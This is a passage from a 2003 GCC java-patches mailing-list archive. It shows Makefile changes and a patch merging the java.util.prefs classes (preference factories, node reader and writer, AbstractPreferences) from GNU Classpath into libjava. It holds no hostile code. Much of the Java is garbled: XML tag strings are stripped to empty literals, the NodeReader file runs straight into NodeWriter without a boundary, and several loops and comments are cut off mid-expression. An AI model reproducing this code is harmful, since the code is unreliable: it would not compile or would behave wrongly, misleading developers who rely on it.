-2159,6 +2159,7 @@ java/nio/channels/ByteChannel.java \ java/nio/channels/CancelledKeyException.java \ java/nio/channels/Channel.java \ +java/nio/channels/Channels.java \ java/nio/channels/ClosedByInterruptException.java \ java/nio/channels/ClosedChannelException.java \ java/nio/channels/ClosedSelectorException.java \ --- /home/mkoch/src/gcc-cvs/libjava/Makefile.in 2003-02-12 08:00:33.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/Makefile.in 2003-02-12 09:12:17.000000000 +0100 @@ -1919,6 +1919,7 @@ java/nio/channels/ByteChannel.java \ java/nio/channels/CancelledKeyException.java \ java/nio/channels/Channel.java \ +java/nio/channels/Channels.java \ java/nio/channels/ClosedByInterruptException.java \ java/nio/channels/ClosedChannelException.java \ java/nio/channels/ClosedSelectorException.java \ @@ -3343,7 +3344,7 @@ .deps/java/nio/channels/AsynchronousCloseException.P \ .deps/java/nio/channels/ByteChannel.P \ .deps/java/nio/channels/CancelledKeyException.P \ -.deps/java/nio/channels/Channel.P \ +.deps/java/nio/channels/Channel.P .deps/java/nio/channels/Channels.P \ .deps/java/nio/channels/ClosedByInterruptException.P \ .deps/java/nio/channels/ClosedChannelException.P \ .deps/java/nio/channels/ClosedSelectorException.P \ --Boundary-00=_A2hS+GEllhThA7G-- From java-patches-return-6084-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 11:21:21 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3082 invoked by alias); 12 Feb 2003 11:21:21 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3073 invoked from network); 12 Feb 2003 11:21:19 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by 172.16.49.205 with SMTP; 12 Feb 2003 11:21:19 -0000 Received: from 192.168.1.3 (dynadsl-080-228-69-121.ewetel.net [80.228.69.121]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h1CBL9GF001816 for ; Wed, 12 Feb 2003 12:21:10 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.util.prefs Date: Wed, 12 Feb 2003 11:47:38 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_KZiS+NPRJnk21lR" Message-Id: <200302121147.38814.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_KZiS+NPRJnk21lR Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, This patch merged java.util.prefs with classpath. Please review and=20 comment. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+SiZKWSOgCCdjSDsRAl8nAJ438afsnhlA4f9beONdNPGvKarxGgCfZik/ W0US8XZF+K9PYqhZtcYgAKw=3D =3DETPW =2D----END PGP SIGNATURE----- --Boundary-00=_KZiS+NPRJnk21lR Content-Type: text/x-diff; charset="iso-8859-15"; name="java-util-prefs.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="java-util-prefs.diff" --- /home/mkoch/src/gcc-cvs/libjava/ChangeLog 2003-02-12 11:16:32.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/ChangeLog 2003-02-12 11:30:08.000000000 +0100 @@ -1,5 +1,41 @@ 2003-02-12 Michael Koch + * gnu/java/util/prefs/FileBasedFactory.java, + gnu/java/util/prefs/MemmoryBasedFactory.java, + gnu/java/util/prefs/MemoryBasedPreferences.java, + gnu/java/util/prefs/NodeReader.java, + gnu/java/util/prefs/NodeWriter.java, + java/util/prefs/AbstractPreferences.java, + java/util/prefs/BackingStoreException.java, + java/util/prefs/InvalidPreferencesFormatException.java, + java/util/prefs/NodeChangeEvent.java, + java/util/prefs/NodeChangeListener.java, + java/util/prefs/PreferenceChangeEvent.java, + java/util/prefs/PreferenceChangeListener.java, + java/util/prefs/Preferences.java, + java/util/prefs/PreferencesFactory.java: + New files, all merged from classpath. All not compiled yet. + * Makefile.am + (ordinary_java_source_files): Added the following files: + gnu/java/util/prefs/FileBasedFactory.java, + gnu/java/util/prefs/MemmoryBasedFactory.java, + gnu/java/util/prefs/MemoryBasedPreferences.java, + gnu/java/util/prefs/NodeReader.java, + gnu/java/util/prefs/NodeWriter.java, + (core_java_source_files): Added the following files: + java/util/prefs/AbstractPreferences.java, + java/util/prefs/BackingStoreException.java, + java/util/prefs/InvalidPreferencesFormatException.java, + java/util/prefs/NodeChangeEvent.java, + java/util/prefs/NodeChangeListener.java, + java/util/prefs/PreferenceChangeEvent.java, + java/util/prefs/PreferenceChangeListener.java, + java/util/prefs/Preferences.java, + java/util/prefs/PreferencesFactory.java + * Makefile.in: Regenerated. + +2003-02-12 Michael Koch + * java/nio/channels/Channels.java: New file. * Makefile.am (ordinary_java_source_files): Added java/nio/channels/Channels.java. --- /home/mkoch/src/gcc-cvs/libjava/gnu/java/util/prefs/FileBasedFactory.java 1970-01-01 01:00:00.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/gnu/java/util/prefs/FileBasedFactory.java 2002-01-22 23:26:58.000000000 +0100 @@ -0,0 +1,57 @@ +/* FileBasedFactory - Default Classpath implementation of a PreferencesFactory + Copyright (C) 2001 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + +package gnu.java.util.prefs; + +import java.util.prefs.*; + +/** + * Default Classpath implementation of a PreferencesFactory. + * Returns system and user root Preferences nodes that are read from files. + * + * @author Mark Wielaard (mark@klomp.org) + */ +public class FileBasedFactory implements PreferencesFactory { + + public Preferences systemRoot() { + return null; + } + + public Preferences userRoot() { + return null; + } +} --- /home/mkoch/src/gcc-cvs/libjava/gnu/java/util/prefs/MemoryBasedFactory.java 1970-01-01 01:00:00.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/gnu/java/util/prefs/MemoryBasedFactory.java 2002-01-22 23:26:58.000000000 +0100 @@ -0,0 +1,64 @@ +/* MemoryBasedFactory - Memory based PreferencesFactory usefull for testing + Copyright (C) 2001 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + +package gnu.java.util.prefs; + +import java.util.prefs.*; + +/** + * Memory based PreferencesFactory usefull for testing. + * Returns completely empty Preferences for system and user roots. + * All changes are only backed by the current instances in memory. + * + * @author Mark Wielaard (mark@klomp.org) + */ +public class MemoryBasedFactory implements PreferencesFactory { + + // Static fields containing the preferences root nodes + private static final Preferences systemPreferences + = new MemoryBasedPreferences(null, "", false); + private static final Preferences userPreferences + = new MemoryBasedPreferences(null, "", true); + + public Preferences systemRoot() { + return systemPreferences; + } + + public Preferences userRoot() { + return userPreferences; + } +} --- /home/mkoch/src/gcc-cvs/libjava/gnu/java/util/prefs/MemoryBasedPreferences.java 1970-01-01 01:00:00.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/gnu/java/util/prefs/MemoryBasedPreferences.java 2002-01-22 23:26:58.000000000 +0100 @@ -0,0 +1,144 @@ +/* MemoryBasedPreferences - A Preference node which holds all entries in memory + Copyright (C) 2001 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + +package gnu.java.util.prefs; + +import java.util.HashMap; + +import java.util.prefs.*; + +/** + * A Preference node which holds all entries in memory + * + * @author Mark Wielaard (mark@klomp.org) + */ +public class MemoryBasedPreferences extends AbstractPreferences { + + /** True if this is a preference node in the user tree, false otherwise. */ + private final boolean isUser; + + /** Contains all the preference entries of this node. */ + private HashMap entries = new HashMap(); + + /** + * Creates a new preferences node with the given name and parent. + * When isUser is true it will be user node otherwise it will be a system + * node. It will always set the newNode field to true + * since there is no real backing store, so all nodes are new. + */ + public MemoryBasedPreferences(MemoryBasedPreferences parent, + String name, + boolean isUser) { + super(parent, name); + this.isUser = isUser; + + // Since we do not have a real backing store all nodes are new + newNode = true; + } + + /** + * Returns true if this node was created as a user node. + */ + public boolean isUserNode() { + return isUser; + } + + /** + * Returns an empty array since all children names are always already + * chached. + */ + protected String[] childrenNamesSpi() throws BackingStoreException { + return new String[0]; + } + + /** + * Returns a new node with the given name with as parent this node and + * with the isUser flag set to the same value as this node. + */ + protected AbstractPreferences childSpi(String childName) { + return new MemoryBasedPreferences(this, childName, isUser); + } + + /** + * Returns a (possibly empty) array of keys of the preferences entries of + * this node. + */ + protected String[] keysSpi() throws BackingStoreException { + return (String[]) entries.keySet().toArray(new String[entries.size()]); + } + + /** + * Returns the associated value from this nodes preferences entries or + * null when the key has not been set. + */ + protected String getSpi(String key) { + return (String) entries.get(key); + } + + /** + * Sets the value for the given key. + */ + protected void putSpi(String key, String value) { + entries.put(key, value); + } + + /** + * Removes the entry with the given key. + */ + protected void removeSpi(String key) { + entries.remove(key); + } + + /** + * Does nothing since we do not have any backing store. + */ + protected void flushSpi() { + } + + /** + * Does nothing since we do not have any backing store. + */ + protected void syncSpi() { + } + + /** + * Just removes the entries map of this node. + */ + protected void removeNodeSpi() { + entries = null; + } +} --- /home/mkoch/src/gcc-cvs/libjava/gnu/java/util/prefs/NodeReader.java 1970-01-01 01:00:00.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/gnu/java/util/prefs/NodeReader.java 2002-09-12 15:36:47.000000000 +0200 @@ -0,0 +1,223 @@ +/* NodeReader - Reads and imports preferences nodes from files + Copyright (C) 2001 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + +package gnu.java.util.prefs; + +import java.io.BufferedReader; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.InputStream; +import java.io.IOException; +import java.io.Reader; + +import java.util.prefs.*; + +/** + * Reads and imports preferences nodes from files. + * + * @author Mark Wielaard (mark@klomp.org) + */ +public class NodeReader { + + private final BufferedReader br; + private String line = ""; + + private final PreferencesFactory factory; + + public NodeReader(Reader r, PreferencesFactory factory) { + if(r instanceof BufferedReader) { + br = (BufferedReader) r; + } else { + br = new BufferedReader(r); + } + this.factory = factory; + } + + public NodeReader(InputStream is, PreferencesFactory factory) { + this(new InputStreamReader(is), factory); + } + + public void importPreferences() + throws InvalidPreferencesFormatException, IOException + { + readPreferences(); + } + + private void readPreferences() + throws InvalidPreferencesFormatException, IOException + { + // Begin starting tag + skipTill(""); + } + + private void readRoot() + throws InvalidPreferencesFormatException, IOException + { + // Begin starting tag + skipTill(""); + } + + private void readNodes(Preferences node) + throws InvalidPreferencesFormatException, IOException + { + while ("node".equals(nextTag())) { + skipTill(""); + } + + } + + private void readMap(Preferences node) + throws InvalidPreferencesFormatException, IOException + { + // Begin map tag + skipTill("")) { + line = line.substring(2); + return; + } + + // Map entries + readEntries(node); + + // Ending tag + skipTill(""); + } + + private void readEntries(Preferences node) + throws InvalidPreferencesFormatException, IOException + { + while ("entry".equals(nextTag())) { + skipTill(""); + bw.newLine(); + bw.newLine(); + bw.write(""); + bw.newLine(); + bw.newLine(); + } + + /** + * Write the preferences tag and the root. + */ + private void writePreferences() throws BackingStoreException, IOException { + bw.write(""); + bw.newLine(); + writeRoot(); + bw.write(""); + bw.newLine(); + } + + private void writeRoot() throws BackingStoreException, IOException { + bw.write(" "); + + writeRootMap(); + writeNode(); + + bw.write(" "); + bw.newLine(); + } + + private void writeRootMap() throws BackingStoreException, IOException { + // Is it a root node? + if(prefs.parent() == null && prefs.keys().length > 0) { + bw.newLine(); + writeMap(prefs, 2); + } else { + bw.write(""); + bw.newLine(); + } + } + + /** + * Writes all the parents of the preferences node without any entries. + * Returns the number of parents written, which has to be used as + * argument to writeCloseParents() after writing the node + * itself. + */ + private int writeParents() throws IOException { + int parents; + String path = prefs.absolutePath(); + int lastslash = path.lastIndexOf("/"); + if (lastslash > 0) { + path = path.substring(1, lastslash); + StringTokenizer st = new StringTokenizer(path); + parents = st.countTokens(); + + System.out.println("path: " + path); + System.out.println("parents: " + parents); + + for (int i=0; i"); + bw.write(""); + bw.write(""); + bw.newLine(); + } + } else { + parents = 0; + } + + return parents; + } + + private void writeCloseParents(int parents) throws IOException { + while(parents > 0) { + indent(parents+1); + bw.write(""); + bw.newLine(); + parents--; + } + } + + private void writeNode() throws BackingStoreException, IOException { + int parents = writeParents(); + // root? + int indent; + if (prefs.parent() == null) { + indent = parents+1; + } else { + indent = parents+2; + } + writeNode(prefs, indent); + writeCloseParents(parents); + } + + private void writeNode(Preferences node, int indent) + throws BackingStoreException, IOException + { + // not root? + if (node.parent() != null) { + indent(indent); + bw.write(""); + if (node.keys().length > 0) { + bw.newLine(); + } + writeMap(node, indent+1); + } + + if (subtree) { + String[] children = node.childrenNames(); + for (int i=0; i"); + bw.newLine(); + } + } + + private void writeMap(Preferences node, int indent) + throws BackingStoreException, IOException + { + // construct String used for indentation + StringBuffer indentBuffer = new StringBuffer(2*indent); + for (int i=0; i < indent; i++) + indentBuffer.append(" "); + String indentString = indentBuffer.toString(); + + if (node.keys().length > 0) { + bw.write(indentString); + bw.write(""); + bw.newLine(); + writeEntries(node, indentString + " "); + bw.write(indentString); + bw.write(""); + } else { + bw.write(""); + } + bw.newLine(); + } + + private void writeEntries(Preferences node, String indent) + throws BackingStoreException, IOException + { + String[] keys = node.keys(); + for(int i = 0; i < keys.length; i++) { + String value = node.get(keys[i], null); + if (value == null) { + throw new BackingStoreException("null value for key '" + + keys[i] + "'"); + } + + bw.write(indent); + bw.write(""); + bw.newLine(); + } + } + + private void indent(int x) throws IOException { + for (int i=0; iisUserNode(), XXX + * + * @since 1.4 + * @author Mark Wielaard (mark@klomp.org) + */ +public abstract class AbstractPreferences extends Preferences { + + // protected fields + + /** + * Object used to lock this preference node. Any thread only locks nodes + * downwards when it has the lock on the current node. No method should + * synchronize on the lock of any of its parent nodes while holding the + * lock on the current node. + */ + protected final Object lock = new Object(); + + /** + * Set to true in the contructor if the node did not exist in the backing + * store when this preference node object was created. Should be set in + * the contructor of a subclass. Defaults to false. Used to fire node + * changed events. + */ + protected boolean newNode = false; + + // private fields + + /** + * The parent preferences node or null when this is the root node. + */ + private final AbstractPreferences parent; + + /** + * The name of this node. + * Only when this is a root node (parent == null) the name is empty. + * It has a maximum of 80 characters and cannot contain any '/' characters. + */ + private final String name; + + /** True when this node has been remove, false otherwise. */ + private boolean removed = false; + + /** + * Holds all the child names and nodes of this node that have been + * accessed by earlier getChild() or childSpi() + * invocations and that have not been removed. + */ + private HashMap childCache = new HashMap(); + + // constructor + + /** + * Creates a new AbstractPreferences node with the given parent and name. + * + * @param parent the parent of this node or null when this is the root node + * @param name the name of this node, can not be null, only 80 characters + * maximum, must be empty when parent is null and cannot + * contain any '/' characters + * @exception IllegalArgumentException when name is null, greater then 80 + * characters, not the empty string but parent is null or + * contains a '/' character + */ + protected AbstractPreferences(AbstractPreferences parent, String name) { + if ( (name == null) // name should be given + || (name.length() > MAX_NAME_LENGTH) // 80 characters max + || (parent == null && name.length() != 0) // root has no name + || (parent != null && name.length() == 0) // all other nodes do + || (name.indexOf('/') != -1)) // must not contain '/' + throw new IllegalArgumentException("Illegal name argument '" + + name + + "' (parent is " + + parent == null ? "" : "not " + + "null)"); + this.parent = parent; + this.name = name; + } + + // identification methods + + /** + * Returns the absolute path name of this preference node. + * The absolute path name of a node is the path name of its parent node + * plus a '/' plus its own name. If the node is the root node and has no + * parent then its path name is "" and its absolute path name is "/". + */ + public String absolutePath() { + if (parent == null) + return "/"; + else + return parent.path() + '/' + name; + } + + /** + * Private helper method for absolutePath. Returns the empty string for a + * root node and otherwise the parentPath of its parent plus a '/'. + */ + private String path() { + if (parent == null) + return ""; + else + return parent.path() + '/' + name; + } + + /** + * Returns true if this node comes from the user preferences tree, false + * if it comes from the system preferences tree. + */ + abstract public boolean isUserNode(); + + /** + * Returns the name of this preferences node. The name of the node cannot + * be null, can be mostly 80 characters and cannot contain any '/' + * characters. The root node has as name "". + */ + public String name() { + return name; + } + + /** + * Returns the String given by + * + * (isUserNode() ? "User":"System") + " Preference Node: " + absolutePath() + * + */ + public String toString() { + return (isUserNode() ? "User":"System") + + " Preference Node: " + + absolutePath(); + } + + /** + * Returns all the direct sub nodes of this preferences node. + * Needs access to the backing store to give a meaningfull answer. + *

+ * This implementation locks this node, checks if the node has not yet + * been removed and throws an IllegalStateException when it + * has been. Then it creates a new TreeSet and adds any + * already cached child nodes names. To get any uncached names it calls + * childrenNamesSpi() and adds the result to the set. Finally + * it calls toArray() on the created set. When the call to + * childrenNamesSpi thows an BackingStoreException + * this method will not catch that exception but propagate the exception + * to the caller. + * + * @exception BackingStoreException when the backing store cannot be + * reached + * @exception IllegalStateException when this node has been removed + */ + public String[] childrenNames() throws BackingStoreException { + synchronized(lock) { + if (isRemoved()) + throw new IllegalStateException("Node removed"); + + TreeSet childrenNames = new TreeSet(); + + // First get all cached node names + childrenNames.addAll(childCache.keySet()); + + // Then add any others + String names[] = childrenNamesSpi(); + for (int i = 0; i < names.length; i++) { + childrenNames.add(names[i]); + } + + // And return the array of names + String[] children = new String[childrenNames.size()]; + childrenNames.toArray(children); + return children; + + } + } + + /** + * Returns a sub node of this preferences node if the given path is + * relative (does not start with a '/') or a sub node of the root + * if the path is absolute (does start with a '/'). + *

+ * This method first locks this node and checks if the node has not been + * removed, if it has been removed it throws an exception. Then if the + * path is relative (does not start with a '/') it checks if the path is + * legal (does not end with a '/' and has no consecutive '/' characters). + * Then it recursively gets a name from the path, gets the child node + * from the child-cache of this node or calls the childSpi() + * method to create a new child sub node. This is done recursively on the + * newly created sub node with the rest of the path till the path is empty. + * If the path is absolute (starts with a '/') the lock on this node is + * droped and this method is called on the root of the preferences tree + * with as argument the complete path minus the first '/'. + * + * @exception IllegalStateException if this node has been removed + * @exception IllegalArgumentException if the path contains two or more + * consecutive '/' characters, ends with a '/' charactor and is not the + * string "/" (indicating the root node) or any name on the path is more + * then 80 characters long + */ + public Preferences node(String path) { + synchronized(lock) { + if (isRemoved()) + throw new IllegalStateException("Node removed"); + + // Is it a relative path? + if (!path.startsWith("/")) { + + // Check if it is a valid path + if (path.indexOf("//") != -1 || path.endsWith("/")) + throw new IllegalArgumentException(path); + + return getNode(path); + } + } + + // path started with a '/' so it is absolute + // we drop the lock and start from the root (omitting the first '/') + Preferences root = isUserNode() ? userRoot() : systemRoot(); + return root.node(path.substring(1)); + + } + + /** + * Private helper method for node(). Called with this node + * locked. Returns this node when path is the empty string, if it is not + * empty the next node name is taken from the path (all chars till the + * next '/' or end of path string) and the node is either taken from the + * child-cache of this node or the childSpi() method is called + * on this node with the name as argument. Then this method is called + * recursively on the just constructed child node with the rest of the + * path. + * + * @param path should not end with a '/' character and should not contain + * consecutive '/' characters + * @exception IllegalArgumentException if path begins with a name that is + * larger then 80 characters. + */ + private Preferences getNode(String path) { + // if mark is dom then goto end + + // Empty String "" indicates this node + if (path.length() == 0) + return this; + + // Calculate child name and rest of path + String childName; + String childPath; + int nextSlash = path.indexOf('/'); + if (nextSlash == -1) { + childName = path; + childPath = ""; + } else { + childName = path.substring(0, nextSlash); + childPath = path.substring(nextSlash+1); + } + + // Get the child node + AbstractPreferences child; + child = (AbstractPreferences)childCache.get(childName); + if (child == null) { + + if (childName.length() > MAX_NAME_LENGTH) + throw new IllegalArgumentException(childName); + + // Not in childCache yet so create a new sub node + child = childSpi(childName); + // XXX - check if node is new + childCache.put(childName, child); + } + + // Lock the child and go down + synchronized(child.lock) { + return child.getNode(childPath); + } + } + + /** + * Returns true if the node that the path points to exists in memory or + * in the backing store. Otherwise it returns false or an exception is + * thrown. When this node is removed the only valid parameter is the + * empty string (indicating this node), the return value in that case + * will be false. + * + * @exception BackingStoreException when the backing store cannot be + * reached + * @exception IllegalStateException if this node has been removed + * and the path is not the empty string (indicating this node) + * @exception IllegalArgumentException if the path contains two or more + * consecutive '/' characters, ends with a '/' charactor and is not the + * string "/" (indicating the root node) or any name on the path is more + * then 80 characters long + */ + public boolean nodeExists(String path) throws BackingStoreException { + synchronized(lock) { + if (isRemoved() && path.length() != 0) + throw new IllegalStateException("Node removed"); + + // Is it a relative path? + if (!path.startsWith("/")) { + + // Check if it is a valid path + if (path.indexOf("//") != -1 || path.endsWith("/")) + throw new IllegalArgumentException(path); + + return existsNode(path); + } + } + + // path started with a '/' so it is absolute + // we drop the lock and start from the root (omitting the first '/') + Preferences root = isUserNode() ? userRoot() : systemRoot(); + return root.nodeExists(path.substring(1)); + + } + + private boolean existsNode(String path) throws BackingStoreException { + + // Empty String "" indicates this node + if (path.length() == 0) + return(!isRemoved()); + + // Calculate child name and rest of path + String childName; + String childPath; + int nextSlash = path.indexOf('/'); + if (nextSlash == -1) { + childName = path; + childPath = ""; + } else { + childName = path.substring(0, nextSlash); + childPath = path.substring(nextSlash+1); + } + + // Get the child node + AbstractPreferences child; + child = (AbstractPreferences)childCache.get(childName); + if (child == null) { + + if (childName.length() > MAX_NAME_LENGTH) + throw new IllegalArgumentException(childName); + + // Not in childCache yet so create a new sub node + child = getChild(childName); + + if (child == null) + return false; + + childCache.put(childName, child); + } + + // Lock the child and go down + synchronized(child.lock) { + return child.existsNode(childPath); + } + } + + /** + * Returns the child sub node if it exists in the backing store or null + * if it does not exist. Called (indirectly) by nodeExists() + * when a child node name can not be found in the cache. + *

+ * Gets the lock on this node, calls childrenNamesSpi() to + * get an array of all (possibly uncached) children and compares the + * given name with the names in the array. If the name is found in the + * array childSpi() is called to get an instance, otherwise + * null is returned. + * + * @exception BackingStoreException when the backing store cannot be + * reached + */ + protected AbstractPreferences getChild(String name) + throws BackingStoreException + { + synchronized(lock) { + // Get all the names (not yet in the cache) + String[] names = childrenNamesSpi(); + for (int i=0; i < names.length; i++) + if (name.equals(names[i])) + return childSpi(name); + + // No child with that name found + return null; + } + } + + /** + * Returns true if this node has been removed with the + * removeNode() method, false otherwise. + *

+ * Gets the lock on this node and then returns a boolean field set by + * removeNode methods. + */ + protected boolean isRemoved() { + synchronized(lock) { + return removed; + } + } + + /** + * Returns the parent preferences node of this node or null if this is + * the root of the preferences tree. + *

+ * Gets the lock on this node, checks that the node has not been removed + * and returns the parent given to the constructor. + * + * @exception IllegalStateException if this node has been removed + */ + public Preferences parent() { + synchronized(lock) { + if (isRemoved()) + throw new IllegalStateException("Node removed"); + + return parent; + } + } + + // export methods + + /** + * XXX + */ + public void exportNode(OutputStream os) + throws BackingStoreException, + IOException + { + NodeWriter nodeWriter = new NodeWriter(this, os); + nodeWriter.writePrefs(); + } + + /** + * XXX + */ + public void exportSubtree(OutputStream os) + throws BackingStoreException, + IOException + { + NodeWriter nodeWriter = new NodeWriter(this, os); + nodeWriter.writePrefsTree(); + } + + // preference entry manipulation methods + + /** + * Returns an (possibly empty) array with all the keys of the preference + * entries of this node. + *

+ * This method locks this node and checks if the node has not been + * removed, if it has been removed it throws an exception, then it returns + * the result of calling keysSpi(). + * + * @exception BackingStoreException when the backing store cannot be + * reached + * @exception IllegalStateException if this node has been removed + */ + public String[] keys() throws BackingStoreException { + synchronized(lock) { + if (isRemoved()) + throw new IllegalStateException("Node removed"); + + return keysSpi(); + } + } + + + /** + * Returns the value associated with the key in this preferences node. If + * the default value of the key cannot be found in the preferences node + * entries or something goes wrong with the backing store the supplied + * default value is returned. + *

+ * Checks that key is not null and not larger then 80 characters, + * locks this node, and checks that the node has not been removed. + * Then it calls keySpi() and returns + * the result of that method or the given default value if it returned + * null or throwed an exception. + * + * @exception IllegalArgumentException if key is larger then 80 characters + * @exception IllegalStateException if this node has been removed + * @exception NullPointerException if key is null + */ + public String get(String key, String defaultVal) { + if (key.length() > MAX_KEY_LENGTH) + throw new IllegalArgumentException(key); + + synchronized(lock) { + if (isRemoved()) + throw new IllegalStateException("Node removed"); + + String value; + try { + value = getSpi(key); + } catch (Throwable t) { + value = null; + } + + if (value != null) { + return value; + } else { + return defaultVal; + } + } + } + + /** + * Convenience method for getting the given entry as a boolean. + * When the string representation of the requested entry is either + * "true" or "false" (ignoring case) then that value is returned, + * otherwise the given default boolean value is returned. + * + * @exception IllegalArgumentException if key is larger then 80 characters + * @exception IllegalStateException if this node has been removed + * @exception NullPointerException if key is null + */ + public boolean getBoolean(String key, boolean defaultVal) { + String value = get(key, null); + + if ("true".equalsIgnoreCase(value)) + return true; + + if ("false".equalsIgnoreCase(value)) + return false; + + return defaultVal; + } + + /** + * Convenience method for getting the given entry as a byte array. + * When the string representation of the requested entry is a valid + * Base64 encoded string (without any other characters, such as newlines) + * then the decoded Base64 string is returned as byte array, + * otherwise the given default byte array value is returned. + * + * @exception IllegalArgumentException if key is larger then 80 characters + * @exception IllegalStateException if this node has been removed + * @exception NullPointerException if key is null + */ + public byte[] getByteArray(String key, byte[] defaultVal) { + String value = get(key, null); + + byte[] b = null; + if (value != null) { + b = decode64(value); + } + + if (b != null) + return b; + else + return defaultVal; + } + + /** + * Helper method for decoding a Base64 string as an byte array. + * Returns null on encoding error. This method does not allow any other + * characters present in the string then the 65 special base64 chars. + */ + private static byte[] decode64(String s) { + ByteArrayOutputStream bs = new ByteArrayOutputStream((s.length()/4)*3); + char[] c = new char[s.length()]; + s.getChars(0, s.length(), c, 0); + + // Convert from base64 chars + int endchar = -1; + for(int j = 0; j < c.length && endchar == -1; j++) { + if (c[j] >= 'A' && c[j] <= 'Z') { + c[j] -= 'A'; + } else if (c[j] >= 'a' && c[j] <= 'z') { + c[j] = (char) (c[j] + 26 - 'a'); + } else if (c[j] >= '0' && c[j] <= '9') { + c[j] = (char) (c[j] + 52 - '0'); + } else if (c[j] == '+') { + c[j] = 62; + } else if (c[j] == '/') { + c[j] = 63; + } else if (c[j] == '=') { + endchar = j; + } else { 